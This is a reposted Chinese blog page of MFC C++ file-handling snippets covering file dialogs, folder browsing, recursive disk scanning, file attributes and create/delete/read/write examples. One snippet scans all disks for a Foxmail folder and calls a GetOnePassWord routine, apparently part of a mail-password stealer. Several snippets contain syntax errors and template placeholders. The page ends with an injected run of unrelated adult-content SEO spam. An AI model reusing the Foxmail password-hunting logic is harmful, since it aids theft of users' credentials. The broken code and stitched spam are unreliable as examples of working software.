• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            隨心動

            MFC文件(轉)

            轉自:http://blog.csdn.net/qqtian1110/article/details/5855203
            1、
            1//打開文件對話框 獲取路徑
            2    CFileDialog dlg(1,NULL,NULL,OFN_HIDEREADONLY ,"All Files(*.*)|*.*||");
            3    if(IDOK!=dlg.DoModal())
            4        return;
            5    FilePath = dlg.GetPathName();
            6
            2、
             1//打開文件夾 獲取路徑    
             2    BROWSEINFO   bi;       
             3    char   dispname[MAX_PATH],   path[MAX_PATH];       
             4    ITEMIDLIST   *   pidl;       
             5    bi.hwndOwner   =   0;       
             6    bi.pidlRoot   =   0;       
             7    bi.pszDisplayName   =   dispname;       
             8    bi.lpszTitle   =   "選擇文件夾";       
             9    bi.ulFlags   =   BIF_RETURNONLYFSDIRS;       
            10    bi.lpfn   =   0;       
            11    bi.lParam   =   0;       
            12    bi.iImage   =   0;       
            13    if (pidl = SHBrowseForFolder(&bi))//彈出文件夾瀏覽窗口,并選取目錄   
            14    {       
            15        if(  SHGetPathFromIDList(pidl,   path)   ==   TRUE   )   
            16            FilePath   =   path   ;   
            17        else   
            18            FilePath.Empty();  
            19        UpdateData(FALSE);
            20    }
            3、//遍歷每個磁盤下的所有文件、文件夾
             1void TCFindFile(CString FilePath)  
             2{  
             3    OutputDebugString("TCFindFile");  
             4    CFileFind find;  
             5    CString Dir = FilePath+"*.*";  
             6      
             7    BOOL res =find.FindFile(Dir);  
             8      
             9    //OutputDebugString(Dir);   
            10    if (!res)  
            11    {  
            12        OutputDebugString("DiskScanOver!");  
            13        return;  
            14    }
              
            15      
            16    while(res)  
            17    {  
            18        CString Filename;  
            19        CString tmp;  
            20        res = find.FindNextFile();  
            21        if (find.IsDirectory() && !find.IsDots())   //目錄是文件夾   
            22        {     
            23            Filename = find.GetFileName();  
            24            tmp = Dir.Left(Dir.GetLength() - 3+ Filename;  
            25            if (Filename == "Foxmail")  
            26            {  
            27                //執行后續操作   
            28                OutputDebugString(tmp);  
            29                TheRightFoxmailPath = tmp;  
            30                OutputDebugString("GetPWDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD");  
            31                GetOnePassWord();  
            32                return;  
            33            }
              
            34            tmp += "//";  
            35            TCFindFile(tmp);  
            36        }
              
            37    }
              
            38}
            4、
             1//獲取指定目錄下的所有文件函數 
             2BOOL GetFileProc(CString strDir)  
             3{  
             4    CFileFind szFind;  
             5    char szTempFileFind[MAX_PATH];  
             6    sprintf(szTempFileFind, "%s//*.*", strDir);  
             7    BOOL IsFind = szFind.FindFile(szTempFileFind);  
             8    while(IsFind)  
             9    {  
            10        IsFind = szFind.FindNextFile();  
            11        if (!szFind.IsDots())   //掉除"."/".."   
            12        {  
            13            if (!szFind.IsDirectory())  //不是目錄   
            14            {  
            15                char szFoundFileName[MAX_PATH] = "/0";  
            16                lstrcpy(szFoundFileName, szFind.GetFileName().GetBuffer(MAX_PATH));  
            17                  
            18                if (szFoundFileName[0]))  
            19                {  
            20                    char szTempFile[MAX_PATH];  
            21                    sprintf(szTempFile, "%s//%s", strDir,szFoundFileName);  
            22                      
            23                    //處理這個文件   
            24                }
              
            25            }
              
            26        }
              
            27    }
              
            28    szFind.Close();  
            29    return TRUE;  
            30}
             


            5、轉自:http://hi.baidu.com/gclsoft/blog/item/d526b963128211dae6113ac1.html
             1//MFC 獲取文件屬性 
             2
             3UpdateData(TRUE);
             4//在打開文件對話框中選擇文件
             5CFileDialog FileDlg(TRUE,NULL,NULL,OFN_HIDEREADONLY, "All Files (*.*)|*.*||");
             6//如果未打開文件,則返回
             7if (FileDlg.DoModal()==IDCANCEL) return;
             8//獲取打開文件的路徑
             9m_strFileName=FileDlg.GetPathName();
            10//聲明文件屬性變量
            11CFileStatus status;
            12
            13CFile::GetStatus(m_strFileName, status);
            14//獲取文件名
            15m_strFullName.Format("文件名: %s",status.m_szFullName);
            16//獲取文件大小
            17m_strSize.Format("文件大小: %d字節",status.m_size);
            18//獲取文件的創建時間
            19    m_strCreateTime=status.m_ctime.Format("創建時間: %Y年%m月%d日 %H:%M:%S");
            20//獲取文件的修改時間
            21m_strModifyTime=status.m_mtime.Format("修改時間: %Y年%m月%d日 %H:%M:%S");
            22//獲取文件的最后訪問時間
            23m_strAccessTime=status.m_atime.Format("訪問時間: %Y年%m月%d日");
            24//獲取文件屬性
            25m_strAttribute.Format("屬性: %s%s%s%s",
            26   (status.m_attribute&CFile::readOnly) == CFile::readOnly  ? "只讀 ":"",
            27   (status.m_attribute&CFile::hidden) == CFile::hidden ? "隱藏 ":"",
            28   (status.m_attribute&CFile::system) == CFile::system ? "系統 ":"",
            29   (status.m_attribute&CFile::archive) == CFile::archive ? "存檔 ":"");
            30
            31UpdateData(FALSE); 
            //網上下載
             1//1.創建文件夾 
             2    CreateDirectory(%%1,NULL);
             3 //2.創建文件 
             4    CFile file; 
             5    file.Open(%%1,CFile::modeCreate|CFile::modeWrite);?
             6 //3.刪除文件 
             7    DeleteFile(%%1);
             8 //4.刪除文件夾 RemoveDirectory(%%1);
             9 //5.刪除一個目錄下所有的文件夾 
            10    CFileFind finder;
            11    BOOL bWorking = finder.FindFile(%%1+"\\*.*");
            12    while(bWorking) 
            13    {
            14        bWorking = finder.FindNextFile(); 
            15        if(finder.IsDirectory()) 
            16        {
            17            dir.Delete(finder.GetFilePath()); 
            18        }
             
            19    }

            20 //6.清空文件夾 
            21    RemoveDirectory(%%1);
            22    CreateDirectory(%%1,NULL)
            23 //7.讀取文件 
            24    char sRead[1024]; 
            25    CFile mFile(_T(%%1),CFile::modeRead); 
            26    while(sRead!=null
            27    {
            28        mFile.Read(sRead,1024); 
            29        CString %%2 = CString(sRead); 
            30    }

            31 //8.寫入文件 
            32    CFile mFile(_T(%%1),CFile::modeWrite|CFile::modeCreate);
            33    mFile.Write(%%2,sizeof(%%2)); mFile.Flush(); mFile.Close();

            posted on 2012-07-15 23:31 陳志遠 閱讀(333) 評論(0)  編輯 收藏 引用

            導航

            <2013年12月>
            24252627282930
            1234567
            891011121314
            15161718192021
            22232425262728
            2930311234

            統計

            常用鏈接

            留言簿

            隨筆檔案

            文章分類

            Othor's blog

            搜索

            最新評論

            閱讀排行榜

            評論排行榜

            久久久九九有精品国产| 国内精品久久久久久久coent| 国产成人综合久久久久久| 日产精品久久久一区二区| 亚洲国产精品成人久久蜜臀 | 国内精品久久久久久久97牛牛| 中文字幕精品久久久久人妻| 久久精品国产一区二区三区| 热久久这里只有精品| 伊人色综合久久天天| 99久久无码一区人妻| 久久久精品日本一区二区三区| 精品久久综合1区2区3区激情 | 久久最近最新中文字幕大全| 久久亚洲私人国产精品vA | 亚洲午夜久久久精品影院| 精品久久久久久亚洲| 国产香蕉97碰碰久久人人| 久久国产乱子伦精品免费午夜| 久久久久国产视频电影| 久久久精品人妻一区二区三区蜜桃 | 99久久国产热无码精品免费久久久久| 久久精品中文字幕有码| 中文字幕无码久久人妻| 成人国内精品久久久久一区| 国产成人精品久久综合| 婷婷国产天堂久久综合五月| 日韩AV无码久久一区二区 | 久久久久se色偷偷亚洲精品av| 色欲综合久久躁天天躁蜜桃| 久久99中文字幕久久| 欧美激情精品久久久久久| 欧美精品久久久久久久自慰| 久久精品中文字幕久久| 亚洲午夜无码AV毛片久久| 久久人爽人人爽人人片AV| 久久久WWW成人免费精品| 欧美噜噜久久久XXX| 人妻丰满?V无码久久不卡| 国产精品久久久久无码av| 午夜福利91久久福利|